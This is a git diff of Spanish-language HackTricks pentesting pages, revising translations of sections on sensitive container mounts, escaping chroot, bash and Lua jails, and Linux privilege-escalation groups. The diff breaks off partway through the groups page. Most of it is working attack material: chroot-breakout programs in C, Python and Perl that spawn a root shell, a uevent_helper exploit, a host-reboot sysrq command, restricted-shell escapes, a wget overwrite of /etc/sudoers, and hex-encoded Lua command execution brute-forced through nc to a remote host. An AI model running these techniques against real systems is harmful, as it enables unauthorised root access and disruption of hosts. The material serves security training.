**Puedes encontrar más detalles de cada posible vulnerabilidad en** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
## Vulnerabilidades de procfs
|
||||
|
||||
|
@ -66,7 +67,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acceso a modprobe
|
|||
* Permite registrar intérpretes para formatos binarios no nativos basados en su número mágico.
|
||||
* Puede llevar a la escalada de privilegios o acceso a shell de root si `/proc/sys/fs/binfmt_misc/register` es escribible.
|
||||
* Explicación y explotación relevante:
|
||||
* [Rootkit de pobre hombre a través de binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* [Rootkit casero a través de binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* Tutorial detallado: [Enlace al video](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Otros en `/proc`
|
||||
|
@ -106,19 +107,19 @@ echo b > /proc/sysrq-trigger # Reinicia el host
|
|||
#### **`/proc/kcore`**
|
||||
|
||||
* Representa la memoria física del sistema en formato core ELF.
|
||||
* La lectura puede filtrar el contenido de la memoria del host y de otros contenedores.
|
||||
* Un tamaño de archivo grande puede provocar problemas de lectura o bloqueos de software.
|
||||
* La lectura puede filtrar contenidos de memoria del host y de otros contenedores.
|
||||
* Un tamaño de archivo grande puede causar problemas de lectura o bloqueos de software.
|
||||
* Uso detallado en [Volcado de /proc/kcore en 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
* Interfaz alternativa para `/dev/kmem`, que representa la memoria virtual del kernel.
|
||||
* Permite la lectura y escritura, por lo tanto, la modificación directa de la memoria del kernel.
|
||||
* Permite lectura y escritura, por lo tanto, modificación directa de la memoria del kernel.
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
* Interfaz alternativa para `/dev/mem`, que representa la memoria física.
|
||||
* Permite la lectura y escritura, la modificación de toda la memoria requiere resolver direcciones virtuales a físicas.
|
||||
* Permite lectura y escritura, la modificación de toda la memoria requiere resolver direcciones virtuales a físicas.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
|
@ -128,14 +129,14 @@ echo b > /proc/sysrq-trigger # Reinicia el host
|
|||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
* Proporciona información sobre los puntos de montaje en el espacio de nombres de montaje del proceso.
|
||||
* Expone la ubicación del `rootfs` del contenedor o de la imagen.
|
||||
* Expone la ubicación del `rootfs` o imagen del contenedor.
|
||||
|
||||
### Vulnerabilidades de `/sys`
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
* Utilizado para manejar los `uevents` de dispositivos del kernel.
|
||||
* Escribir en `/sys/kernel/uevent_helper` puede ejecutar scripts arbitrarios al activar `uevent` triggers.
|
||||
* Utilizado para manejar `uevents` de dispositivos del kernel.
|
||||
* Escribir en `/sys/kernel/uevent_helper` puede ejecutar scripts arbitrarios al activar `uevents`.
|
||||
* **Ejemplo de Explotación**: %%%bash
|
||||
|
||||
#### Crea un payload
|
||||
|
@ -159,7 +160,7 @@ echo change > /sys/class/mem/null/uevent
|
|||
cat /output %%%
|
||||
#### **`/sys/class/thermal`**
|
||||
|
||||
* Controla la configuración de temperatura, potencialmente causando ataques DoS o daños físicos.
|
||||
* Controla la configuración de temperatura, potencialmente causando ataques de denegación de servicio o daños físicos.
|
||||
|
||||
#### **`/sys/kernel/vmcoreinfo`**
|
||||
|
||||
|
@ -173,7 +174,7 @@ cat /output %%%
|
|||
#### **`/sys/firmware/efi/vars` y `/sys/firmware/efi/efivars`**
|
||||
|
||||
* Expone interfaces para interactuar con variables EFI en la NVRAM.
|
||||
* Una mala configuración o explotación puede llevar a laptops inutilizadas o máquinas host no arrancables.
|
||||
* La mala configuración o explotación puede llevar a laptops inutilizables o máquinas host no arrancables.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
|
@ -190,16 +191,17 @@ cat /output %%%
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Escaping from Jails
|
||||
# Escapando de Jaulas
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **GTFOBins**
|
||||
|
||||
|
@ -20,8 +21,8 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
## Escapes de Chroot
|
||||
|
||||
De [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): El mecanismo chroot **no está diseñado para defenderse** contra manipulaciones intencionales por parte de **usuarios privilegiados** (**root**). En la mayoría de los sistemas, los contextos de chroot no se acumulan correctamente y los programas en chroot **con suficientes privilegios pueden realizar un segundo chroot para escapar**.\
|
||||
Normalmente, esto significa que para escapar necesitas ser root dentro del chroot.
|
||||
Desde [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): El mecanismo chroot **no está destinado a defender** contra manipulaciones intencionales por **usuarios privilegiados** (**root**). En la mayoría de los sistemas, los contextos chroot no se apilan correctamente y los programas chrooted **con suficientes privilegios pueden realizar un segundo chroot para escapar**.\
|
||||
Por lo general, esto significa que para escapar necesitas ser root dentro del chroot.
|
||||
|
||||
{% hint style="success" %}
|
||||
La **herramienta** [**chw00t**](https://github.com/earthquake/chw00t) fue creada para abusar de los siguientes escenarios y escapar de `chroot`.
|
||||
|
@ -30,29 +31,39 @@ La **herramienta** [**chw00t**](https://github.com/earthquake/chw00t) fue creada
|
|||
### Root + CWD
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si eres **root** dentro de un chroot, **puedes escapar** creando **otro chroot**. Esto se debe a que 2 chroots no pueden coexistir (en Linux), así que si creas una carpeta y luego **creas un nuevo chroot** en esa nueva carpeta estando **fuera de ella**, ahora estarás **fuera del nuevo chroot** y, por lo tanto, estarás en el FS.
|
||||
Si eres **root** dentro de un chroot **puedes escapar** creando **otro chroot**. Esto se debe a que 2 chroots no pueden coexistir (en Linux), por lo que si creas una carpeta y luego **creas un nuevo chroot** en esa nueva carpeta estando **fuera de él**, ahora estarás **fuera del nuevo chroot** y por lo tanto estarás en el FS.
|
||||
|
||||
Esto ocurre porque normalmente chroot NO mueve tu directorio de trabajo al indicado, por lo que puedes crear un chroot pero estar fuera de él.
|
||||
Esto ocurre porque por lo general chroot NO mueve tu directorio de trabajo al indicado, por lo que puedes crear un chroot pero estar fuera de él.
|
||||
{% endhint %}
|
||||
|
||||
Normalmente no encontrarás el binario `chroot` dentro de una cárcel chroot, pero **podrías compilar, subir y ejecutar** un binario:
|
||||
Por lo general no encontrarás el binario `chroot` dentro de una cárcel chroot, pero **podrías compilar, subir y ejecutar** un binario:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
\`\`\`c #include #include #include
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
int main(void)
|
||||
{
|
||||
mkdir("chroot-dir", 0755);
|
||||
chroot("chroot-dir");
|
||||
for(int i = 0; i < 1000; i++) {
|
||||
chdir("..");
|
||||
}
|
||||
chroot(".");
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
|
||||
|
||||
````
|
||||
<details>
|
||||
|
||||
<summary>Python</summary>
|
||||
|
||||
</details>
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import os
|
||||
|
@ -62,89 +73,101 @@ for i in range(1000):
|
|||
os.chdir("..")
|
||||
os.chroot(".")
|
||||
os.system("/bin/bash")
|
||||
````
|
||||
|
||||
|
||||
|
||||
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + Saved fd
|
||||
<details>
|
||||
|
||||
<summary>Perl</summary>
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
mkdir "chroot-dir";
|
||||
chroot "chroot-dir";
|
||||
foreach my $i (0..1000) {
|
||||
chdir ".."
|
||||
}
|
||||
chroot ".";
|
||||
system("/bin/bash");
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + Descriptor de archivo guardado
|
||||
|
||||
{% hint style="warning" %}
|
||||
Esto es similar al caso anterior, pero en este caso el **atacante almacena un descriptor de archivo del directorio actual** y luego **crea el chroot en una nueva carpeta**. Finalmente, como tiene **acceso** a ese **FD** **fuera** del chroot, lo accede y **escapa**.
|
||||
Esto es similar al caso anterior, pero en este caso el **atacante almacena un descriptor de archivo en el directorio actual** y luego **crea el chroot en una nueva carpeta**. Finalmente, como tiene **acceso** a ese **FD** **fuera** del chroot, accede a él y se **escapa**.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
\`\`\`c #include #include #include
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
|
||||
|
||||
````
|
||||
int main(void)
|
||||
{
|
||||
mkdir("tmpdir", 0755);
|
||||
dir_fd = open(".", O_RDONLY);
|
||||
if(chroot("tmpdir")){
|
||||
perror("chroot");
|
||||
}
|
||||
fchdir(dir_fd);
|
||||
close(dir_fd);
|
||||
for(x = 0; x < 1000; x++) chdir("..");
|
||||
chroot(".");
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + Fork + UDS (Unix Domain Sockets)
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
FD se puede pasar a través de Unix Domain Sockets, entonces:
|
||||
{% hint style="warning" %}
|
||||
Los descriptores de archivo se pueden pasar a través de Unix Domain Sockets, por lo tanto:
|
||||
|
||||
* Crear un proceso hijo (fork)
|
||||
* Crear UDS para que el padre y el hijo puedan comunicarse
|
||||
* Ejecutar chroot en el proceso hijo en una carpeta diferente
|
||||
* En el proceso padre, crear un FD de una carpeta que está fuera del chroot del nuevo proceso hijo
|
||||
* Pasar al proceso hijo ese FD usando el UDS
|
||||
* El proceso hijo hace chdir a ese FD, y como está fuera de su chroot, escapará de la cárcel
|
||||
* Ejecutar chroot en el proceso hijo en un directorio diferente
|
||||
* En el proceso padre, crear un descriptor de archivo de un directorio que esté fuera del nuevo chroot del proceso hijo
|
||||
* Pasar ese descriptor de archivo al proceso hijo usando el UDS
|
||||
* El proceso hijo cambia su directorio actual a ese descriptor de archivo, y debido a que está fuera de su chroot, escapará de la cárcel
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
###  Root + Mount
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
### Root + Mount
|
||||
|
||||
{% hint style="warning" %}
|
||||
* Montar el dispositivo raíz (/) en un directorio dentro del chroot
|
||||
* Hacer chroot en ese directorio
|
||||
|
||||
Esto es posible en Linux
|
||||
|
||||
</div>
|
||||
{% endhint %}
|
||||
|
||||
### Root + /proc
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* Montar procfs en un directorio dentro del chroot (si aún no está)
|
||||
* Buscar un pid que tenga una entrada de root/cwd diferente, como: /proc/1/root
|
||||
{% hint style="warning" %}
|
||||
* Montar procfs en un directorio dentro del chroot (si aún no está montado)
|
||||
* Buscar un PID que tenga una entrada de raíz/cwd diferente, como: /proc/1/root
|
||||
* Hacer chroot en esa entrada
|
||||
|
||||
</div>
|
||||
{% endhint %}
|
||||
|
||||
### Root(?) + Fork
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* Crear un Fork (proceso hijo) y hacer chroot en una carpeta más profunda en el FS y CD en ella
|
||||
{% hint style="warning" %}
|
||||
* Crear un Fork (proceso hijo) y hacer chroot en un directorio diferente más profundo en el sistema de archivos y cambiar al mismo
|
||||
* Desde el proceso padre, mover la carpeta donde se encuentra el proceso hijo a una carpeta anterior al chroot de los hijos
|
||||
* Este proceso hijo se encontrará fuera del chroot
|
||||
|
||||
</div>
|
||||
{% endhint %}
|
||||
|
||||
### ptrace
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
{% hint style="warning" %}
|
||||
* Hace tiempo, los usuarios podían depurar sus propios procesos desde un proceso de sí mismos... pero esto ya no es posible de forma predeterminada
|
||||
* De todos modos, si es posible, podrías hacer ptrace en un proceso y ejecutar un shellcode dentro de él ([ver este ejemplo](linux-capabilities.md#cap\_sys\_ptrace)).
|
||||
{% endhint %}
|
||||
|
||||
* Hace tiempo los usuarios podían depurar sus propios procesos desde un proceso de sí mismos... pero esto ya no es posible por defecto
|
||||
* De todos modos, si es posible, podrías usar ptrace en un proceso y ejecutar un shellcode dentro de él ([ver este ejemplo](linux-capabilities.md#cap_sys_ptrace)).
|
||||
|
||||
</div>
|
||||
|
||||
## Bash Jails
|
||||
## Jaulas de Bash
|
||||
|
||||
### Enumeración
|
||||
|
||||
|
@ -155,96 +178,84 @@ echo $PATH
|
|||
env
|
||||
export
|
||||
pwd
|
||||
````
|
||||
|
||||
#### Modificar PATH
|
||||
|
||||
Comprueba si puedes modificar la variable de entorno PATH
|
||||
```
|
||||
### Modificar PATH
|
||||
|
||||
Verifique si puede modificar la variable de entorno PATH.
|
||||
```bash
|
||||
echo $PATH #See the path of the executables that you can use
|
||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||
echo /home/* #List directory
|
||||
```
|
||||
|
||||
#### Usando vim
|
||||
|
||||
### Usando vim
|
||||
```bash
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
```
|
||||
### Crear script
|
||||
|
||||
#### Crear script
|
||||
|
||||
Comprueba si puedes crear un archivo ejecutable con _/bin/bash_ como contenido
|
||||
|
||||
Verifique si puede crear un archivo ejecutable con _/bin/bash_ como contenido
|
||||
```bash
|
||||
red /bin/bash
|
||||
> w wx/path #Write /bin/bash in a writable and executable path
|
||||
```
|
||||
### Obtener bash desde SSH
|
||||
|
||||
#### Obtener bash desde SSH
|
||||
|
||||
Si accedes a través de ssh, puedes usar este truco para ejecutar una shell bash:
|
||||
|
||||
Si estás accediendo a través de ssh, puedes usar este truco para ejecutar un shell de bash:
|
||||
```bash
|
||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||
ssh user@<IP> -t "bash --noprofile -i"
|
||||
ssh user@<IP> -t "() { :; }; sh -i "
|
||||
```
|
||||
|
||||
#### Declarar
|
||||
|
||||
### Declarar
|
||||
```bash
|
||||
declare -n PATH; export PATH=/bin;bash -i
|
||||
|
||||
BASH_CMDS[shell]=/bin/bash;shell -i
|
||||
```
|
||||
|
||||
#### Wget
|
||||
### Wget
|
||||
|
||||
Puedes sobrescribir, por ejemplo, el archivo sudoers
|
||||
|
||||
```bash
|
||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||
```
|
||||
|
||||
#### Otros trucos
|
||||
### Otros trucos
|
||||
|
||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://gtfobins.github.io](https://gtfobins.github.io)\
|
||||
**También podría ser interesante la página:**
|
||||
|
||||
### Python Jails
|
||||
{% content-ref url="../bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../bypass-bash-restrictions/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Trucos sobre cómo escapar de python jails en la siguiente página:
|
||||
## Jaulas de Python
|
||||
|
||||
### Lua Jails
|
||||
Trucos sobre cómo escapar de las jaulas de Python en la siguiente página:
|
||||
|
||||
En esta página puedes encontrar las funciones globales a las que tienes acceso dentro de lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Jaulas de Lua
|
||||
|
||||
En esta página puedes encontrar las funciones globales a las que tienes acceso dentro de Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
|
||||
**Eval con ejecución de comandos:**
|
||||
|
||||
```bash
|
||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||
```
|
||||
|
||||
Algunos trucos para **llamar funciones de una biblioteca sin usar puntos**:
|
||||
|
||||
```bash
|
||||
print(string.char(0x41, 0x42))
|
||||
print(rawget(string, "char")(0x41, 0x42))
|
||||
```
|
||||
|
||||
Enumerar funciones de una biblioteca:
|
||||
|
||||
```bash
|
||||
for k,v in pairs(string) do print(k,v) end
|
||||
```
|
||||
|
||||
Tenga en cuenta que cada vez que ejecute el anterior one liner en un **entorno lua diferente, el orden de las funciones cambia**. Por lo tanto, si necesita ejecutar una función específica, puede realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca:
|
||||
|
||||
Ten en cuenta que cada vez que ejecutas el comando anterior en un **entorno lua diferente, el orden de las funciones cambia**. Por lo tanto, si necesitas ejecutar una función específica, puedes realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca le:
|
||||
```bash
|
||||
#In this scenario you could BF the victim that is generating a new lua environment
|
||||
#for every interaction with the following line and when you are lucky
|
||||
|
@ -255,17 +266,25 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
|||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
|
||||
**Obtener una shell interactiva de lua**: Si te encuentras dentro de una shell limitada de lua, puedes obtener una nueva shell de lua (y con suerte ilimitada) llamando:
|
||||
|
||||
**Obtener un shell interactivo de lua**: Si te encuentras dentro de un shell de lua limitado, puedes obtener un nuevo shell de lua (y con suerte ilimitado) ejecutando:
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
|
||||
### Referencias
|
||||
## Referencias
|
||||
|
||||
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Diapositivas: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Grupos Interesantes - Escalada de Privilegios en Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Grupos de Sudo/Administrador
|
||||
|
||||
|
@ -28,7 +29,7 @@ Otras formas de apoyar a HackTricks:
|
|||
```
|
||||
Esto significa que **cualquier usuario que pertenezca al grupo sudo o admin puede ejecutar cualquier cosa como sudo**.
|
||||
|
||||
Si este es el caso, para **convertirte en root solo necesitas ejecutar**:
|
||||
Si este es el caso, para **convertirse en root solo tienes que ejecutar**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
|
@ -43,7 +44,7 @@ Esto se debe a que normalmente esos son los grupos dentro de la **política polk
|
|||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
Allí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de Linux aparecen los grupos **sudo** y **admin**.
|
||||
Allí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de Linux los grupos **sudo** y **admin** aparecen.
|
||||
|
||||
Para **convertirte en root puedes ejecutar**:
|
||||
```bash
|
||||
|
@ -92,9 +93,9 @@ Los usuarios del **grupo shadow** pueden **leer** el archivo **/etc/shadow**:
|
|||
```
|
||||
## Grupo de Personal
|
||||
|
||||
